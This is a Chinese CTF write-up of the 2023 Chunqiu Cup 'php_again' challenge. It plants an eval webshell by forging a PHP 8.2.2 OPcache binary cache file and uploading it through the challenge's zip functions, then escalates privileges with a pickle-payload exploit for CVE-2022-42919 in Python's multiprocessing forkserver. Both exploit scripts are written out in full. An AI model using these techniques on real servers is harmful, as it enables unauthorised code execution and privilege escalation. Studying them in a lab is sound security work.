2023年春秋杯网络安全联赛春季赛 web php_again [PHP 8.2.2 OPcache Binary Webshell + CVE-2022-42919 LPE]

介绍

同样是在ichunqiu CTF大本营刷题的时候碰到一道高质量的web题,也比较有实战价值,比赛中算是web里耗时较长的的。网上已经有一些公开的writeup,但是为了加深理解记忆,故记录一篇blog。

其中包括一些网上没公开的一些CVE-2022-42919 LPE exp的利用细节及PHP 8.2.2 OPcache Binary Webshell手工利用方法。

  • 复现链接: 2023年春秋杯网络安全联赛春季赛 web php_again

PHP 8.2.2 OPcache Binary Webshell

前置知识

  • php OPcache Binary Webshell 具体原理其请参考英文原出处Binary Webshell Through OPcache in PHP 7

  • php OPcache Binary Webshell检测请参考Detecting Hidden Backdoors in PHP OPcache

  • Abusing PHP 7’s OPcache to Spawn Webshells - slides

  • Abusing PHP 7’s OPcache to Spawn Webshells (Ian Bouchard) - youtube

  • PHP7 OPcache Override 自动化利用工具

大概原理就是伪造替换原来合法PHP编译PHP脚本生成的字节码为webshell php脚本编译生成的恶意字节码

利用方法:

  1. 弄清楚受害者使用的是32位还是64位操作系统
  2. 找到受害者的system ID
  3. 在本地生成缓存文件
  4. 将缓存文件中的system ID替换为受害者的system ID
  5. 用你的文件覆盖受害者的缓存文件。
  6. get a shell。

目标php环境分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
case 00:
phpinfo();
break;
case 73:
exec('zip -r /tmp/www.zip *');
readfile('/tmp/www.zip');
break;
case 7:
var_dump(scandir('/var/www/html/'));
break;
case 1365:
file_put_contents('/tmp/tmp.zip',base64_decode($_POST['data']));
break;
case 777777:
exec('cd /tmp && unzip -o tmp.zip');
break;

5个功能:

  • phpinfo信息
  • 压缩 /var/www/html目录到 /tmp/www.zip,可以读取 /tmp/www.zip
  • 查看当前目录下的文件
  • 上传文件 到 /tmp/tmp.zip
  • 覆盖解压 /tmp/tmp.zip

查看phpinfo()

1
2
3
4
5
6
PHP Version 8.2.2

PHP Extension 20220829
Zend Extension 420220929
Zend Extension Build API420220929,NTS
PHP Extension Build API20220829,NTS

开启了时间戳校验,所以之后需要获取文件创建时间和system_id

拉取php8.2.2源码,在本地(Ubuntu 18.04.6 LTS)复刻编译和目标相同的php环境

1
2
3
cd /usr/local
wget https://www.php.net/distributions/php-8.2.2.tar.gz
tar -zxvf php-8.2.2.tar.gz && cd php-8.2.2

先看下php8.2.2源码的变化

  • 校验文件的位如果不通过就删除了

继续跟下去

编译安装php8.2.2

在题目的phpinfo信息中可以看到, Zend Extension的值是420020929,而正常拉下来的包都是 420020829.这里可能就是出题人故意改的,所以我们也需要改一下再编译。

打开 /usr/local/php-8.2.2/Zend/zend_extensions.h 文件,将其由原来的829改成929

之后再进行编译安装

1
2
3
4
5
6
7
8
9
10
apt-get install build-essential autoconf automake libtool libsqlite3-dev pkg-config libjpeg-dev libpng-dev libxml2-dev libbz2-dev libcurl4-gnutls-dev libssl-dev libffi-dev libwebp-dev libonig-dev libzip-dev

./configure --prefix=/usr/local/php --sysconfdir=/etc/php/8.2 --with-openssl --with-zlib --with-bz2 --with-curl --enable-bcmath --enable-gd --with-webp --with-jpeg --with-mhash --enable-mbstring --with-imap-ssl --with-mysqli --enable-exif --with-ffi --with-zip --enable-sockets --with-pcre-jit --enable-fpm --with-pdo-mysql --enable-pcntl

make && make install
cd /usr/bin
ln -s /usr/local/php/bin/php php8.2
cp /usr/local/php-8.2.2/php.ini-development /usr/local/php/lib/php.ini
cp /etc/php/8.2/php-fpm.conf.default /etc/php/8.2/php-fpm.conf
cp /etc/php/8.2/php-fpm.d/www.conf.default /etc/php/8.2/php-fpm.d/www.conf

打开 php.ini文件 ,开启opcache

1
2
3
4
5
zend_extension = opcache
opcache.enable=1
opcache.validate_timestamps=1
opcache.consistency_checks=1
opcache.file_cache=/tmp

进入 /var/www/html,写入一句话木马,然后开启服务器

1
2
3
4
root@fdvoid0:/var/www/html# cat index.php
<?=eval($_POST[1]);phpinfo();?>
root@fdvoid0:/var/www/html# php8.2 -S 0.0.0.0:8888
[Mon Jul 3 22:19:20 2023] PHP 8.2.2 Development Server (http://0.0.0.0:8888) started

访问之后便会在 /tmp目录下生成缓存文件,这就是正确的 system_id

1
2
3
root@fdvoid0:/mnt/d/1.online-ctfs/ichunqiu/2023-chunqiubei-spring/php_again# ls /tmp/
246104dd1c75c908e3152fa39e48dfb5
root@fdvoid0:/mnt/d/1.online-ctfs/ichunqiu/2023-chunqiubei-spring/php_again# cp /tmp/246104dd1c75c908e3152fa39e48dfb5/var/www/html/index.php.bin .

用功能二获取压缩包,压缩包中存在文件的创建时间

1
curl http://eci-2ze1liq7ayfbjvmgeu18.cloudeci1.ichunqiu.com/?action=73 -o www.zip
1
2023年7月3日,20:06:15

使用在线工具时间戳转换转化为时间戳

1
1688385975

用101 editor打开index.php.bin,然后确定时间戳的位置,修改时间戳

1
64A2B9B7 ---> B7 B9 A2 64

使用python脚本上传并解压文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import requests

import zipfile

url = "http://eci-2ze1liq7ayfbjvmgeu18.cloudeci1.ichunqiu.com/?action="
file_to_compress = 'index.php.bin'
zip_file_path = 'index.zip'
with zipfile.ZipFile(zip_file_path, 'w') as my_zip:
my_zip.write(
file_to_compress,
'246104dd1c75c908e3152fa39e48dfb5/var/www/html/index.php.bin')

f = open(r"D:\1.online-ctfs\ichunqiu\2023-chunqiubei-spring\php_again\index.zip", "rb")
f = f.read()
f = base64.b64encode(f)
data = {"data": f}
url1 = url + "1365"
res = requests.post(url=url1, data=data)
#第二步 解压文件
url2 = url + "777777"
res = requests.get(url=url2)

再次访问时,我们已经拿到shell了

Linux specific local privilege escalation via the multiprocessing forkserver start method CVE-2022-42919 LPE

flag在根目录下没权限访问,根目录下还有一个/py_server.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import multiprocessing
import time


def foo():
import traceback
traceback.format_exc()
print('Hello Ctfer')


if __name__ == '__main__':
multiprocessing.freeze_support()
multiprocessing.set_start_method("forkserver")
p = multiprocessing.Pool()
p1 = multiprocessing.Process(target=foo)
p1.start()
time.sleep(60*60*24)

看到以下两行,很容易想到python的一个multiprocessing forkserver提权漏洞

1
2
multiprocessing.freeze_support()
multiprocessing.set_start_method("forkserver")
  • 漏洞原始出处Linux specific local privilege escalation via the multiprocessing forkserver start method CVE-2022-42919 #97514

看下漏洞的描述意思是起forkserver的时候我们将pick代码注入进去就能直接执行任意命令。

漏洞代码定位cpython/Lib/multiprocessing/connection.py

这里给了个案例,猜测跟那个pid有关,需要套接字注入到套接字文件

pid就是套接字的id直接传值就行了,很容易构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import socket
import pickle
import os
import array

class Person():
def __reduce__(self):
command=r"cat /flag>/tmp/pwned"
return (os.system,(command,))

p=Person()
opcode=pickle.dumps(p)
print(opcode)
f = open("exp.data","wb")
f.write(opcode)
f.close()
# 定义抽象命名空间套接字路径 没ss
# socket_path = "\0"+os.popen("ss -lx | grep '@'|awk '{print $5}'").read().replace("@","").strip()
socket_path = "\0listener-51-0"
print(socket_path)
def sendfds(sock, fds):
'''Send an array of fds over an AF_UNIX socket.'''

# 创建套接字
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
# 连接到服务器
sock.connect(socket_path)
# 准备发送的数据
data = opcode
def send_fds(sock, msg, fds):
return sock.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, array.array("i", fds))])

file = open("exp.data",'rb')
fd = file.fileno()
parent_r, child_w = os.pipe()
fds = [fd,child_w,fd,fd]
msg = bytes([len(fds) % 256])
send_fds(sock,msg,fds)
# 关闭套接字
sock.close()
file.close()

运行exp获取flag

参考链接

  • 4.[春秋杯 2023]php_again
  • 5 php_again
  • Binary Webshell Through OPcache in PHP 7
  • PHP OPcache Override
  • Linux specific local privilege escalation via the multiprocessing forkserver start method CVE-2022-42919 #97514
  • Detecting Hidden Backdoors in PHP OPcache
  • Abusing PHP 7’s OPcache to Spawn Webshells - slides
  • Abusing PHP 7’s OPcache to Spawn Webshells (Ian Bouchard) - youtube